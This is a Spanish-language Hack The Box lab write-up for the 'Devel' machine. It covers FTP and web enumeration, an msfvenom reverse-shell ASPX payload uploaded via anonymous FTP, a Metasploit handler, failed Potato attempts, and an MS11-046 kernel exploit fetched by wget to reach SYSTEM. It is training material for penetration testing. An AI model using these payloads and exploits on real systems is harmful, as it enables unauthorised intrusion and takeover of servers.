Devel

Hack The Box — Metodología Detallada

Devel

IP:10.129.26.35
OS:Windows
Dificultad:Easy
Fecha:13 de julio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.26.35 -oG allPorts

# Output
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 127
80/tcp open  http    syn-ack ttl 127

Se identificaron dos puertos abiertos: el puerto 21 (FTP) y el puerto 80 (HTTP). Se procedió al escaneo de versiones para identificar los servicios exactos.

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
| ftp-syst:
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Hallazgo: el escaneo de versiones reveló dos vectores de interés. El puerto 80 corre Microsoft IIS 7.5 con el método HTTP TRACE habilitado. El puerto 21 permite login anónimo (FTP Anonymous), lo que permite acceder al servidor sin credenciales. Además, el propio nmap listó el contenido del directorio FTP, mostrando archivos característicos de una instalación de IIS.

Enumeración

Enumeración del servidor FTP

Se conectó al servidor FTP con el usuario anonymous para explorar su contenido:

ftp [email protected]
230 User logged in.
Remote system type is Windows_NT.

ftp> ls
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png

ftp> cd aspnet_client
ftp> cd system_web
ftp> ls
03-18-17  02:06AM       <DIR>          2_0_50727

ftp> cd 2_0_50727
ftp> ls
226 Transfer complete.   (directorio vacio)

Se exploró el directorio aspnet_client hasta system_web/2_0_50727, que estaba vacío. Al analizar la estructura completa se identificó el vector de ataque.

Hallazgo: el directorio raíz del FTP correspondía al webroot del servidor IIS. Los archivos iisstart.htm y welcome.png son los archivos de la página de bienvenida por defecto de IIS, y el directorio aspnet_client es exclusivo de instalaciones IIS/ASP.NET.

Hipótesis: si el usuario anónimo del FTP tenía permisos de escritura sobre este directorio, sería posible subir un archivo .aspx malicioso y ejecutarlo desde el navegador para obtener RCE.

Explotación

Generación del payload y subida por FTP

Se generó un payload ASPX con msfvenom y se subió al servidor mediante FTP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.163 LPORT=4444 -f aspx -o shell.aspx

[-] No arch selected, selecting arch: x86 from the payload
Payload size: 355 bytes
Final size of aspx file: 2914 bytes
Saved as: shell.aspx

ftp> put shell.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2954 bytes sent in 0.0001 seconds (27.8265 Mbytes/s)

ftp> ls
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
07-10-26  11:02AM                 2954 shell.aspx
03-17-17  05:37PM               184946 welcome.png

Hallazgo: el servidor aceptó la subida del archivo sin errores de permisos, confirmando que el usuario anónimo de FTP tenía acceso de escritura sobre el webroot de IIS.

Obtención de Meterpreter

Se inició el listener en Metasploit y se accedió al payload desde el navegador:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.15.163
set LPORT 4444
run

curl http://10.129.26.35/shell.aspx

[*] Sending stage (177734 bytes) to 10.129.26.35
[*] Meterpreter session 1 opened (10.10.15.163:4444 -> 10.129.26.35:...)

meterpreter > getuid
Server username: IIS APPPOOL\Web

Obtención de la flag de usuario

meterpreter > shell
c:\windows\system32\inetsrv> type C:\Users\babis\Desktop\user.txt
[flag de usuario obtenida]

Escalada de Privilegios

Enumeración de privilegios

c:\windows\system32\inetsrv> whoami /priv

Privilege Name                Description                               State
============================= ========================================= ========
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled

c:\windows\system32\inetsrv> echo %PROCESSOR_ARCHITECTURE%
x86

OS Name:    Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600

Hallazgo: el privilegio SeImpersonatePrivilege estaba habilitado. Sin embargo, el sistema es Windows 7 x86, lo que impidió usar las herramientas habituales de escalada:

Intentos fallidos con herramientas Potato

Nota: Se probó JuicyPotato, Churrasco y RoguePotato. Ninguno funcionó por incompatibilidad de arquitectura o de usuario.

Intento 1 — JuicyPotato x64 (incompatible):

C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\Temp\shell2.exe -t * -c {CLSID}
This version is not compatible with the version of Windows you're running.
Check whether you need a x86 (32-bit) or x64 (64-bit) version.

Por qué no funcionó: el binario de JuicyPotato disponible era de 64 bits (x64) pero Windows 7 en esta máquina es de 32 bits (x86). No se encontró un binario x86 disponible públicamente.

Intento 2 — Churrasco (usuario incorrecto):

C:\Windows\Temp\churrasco.exe -d "C:\Windows\Temp\shell2.exe"
/churrasco/--> Current User: Web
/churrasco/--> Process is not running under NETWORK SERVICE account!
/churrasco/--> Couldn't find NETWORK SERVICE token

Por qué no funcionó: Churrasco requiere que el proceso corra como NETWORK SERVICE, pero el proceso corra como IIS APPPOOL\Web, una identidad de application pool que Churrasco no soporta.

Intento 3 — RoguePotato x64 (incompatible):

C:\Windows\Temp\rp.exe -r 10.10.15.163 -e "shell2.exe" -l 9999
This version is not compatible with the version of Windows you're running.

Por qué no funcionó: mismo problema que JuicyPotato — binario de 64 bits en un sistema de 32 bits.

Escalada exitosa — MS11-046 (Kernel Exploit)

Ante la imposibilidad de usar herramientas basadas en token impersonation, se optó por un exploit de kernel. Windows 7 Build 7600 sin parches (Hotfix(s): N/A) es vulnerable a MS11-046 (CVE-2011-1249), una vulnerabilidad en el driver afd.sys que permite escalada de privilegios local en Windows x86.

wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS11-046/ms11-046.exe

Se subió el exploit desde Meterpreter:

meterpreter > upload ms11-046.exe C:\\Windows\\Temp\\ms11-046.exe
[*] Uploaded 110.17 KiB of 110.17 KiB (100.0%)

Se ejecutó el exploit:

c:\windows\system32\inetsrv> C:\Windows\Temp\ms11-046.exe

c:\Windows\System32> whoami
nt authority\system

Resultado: el exploit escaló directamente a NT AUTHORITY\SYSTEM sin necesidad de credenciales ni configuración adicional.

Reflexión Final

Qué salió bien

Qué salió mal o costó más

Lecciones aprendidas

Tiempo total

Tiempo total invertido en la resolución de la máquina: aproximadamente 1.5 horas.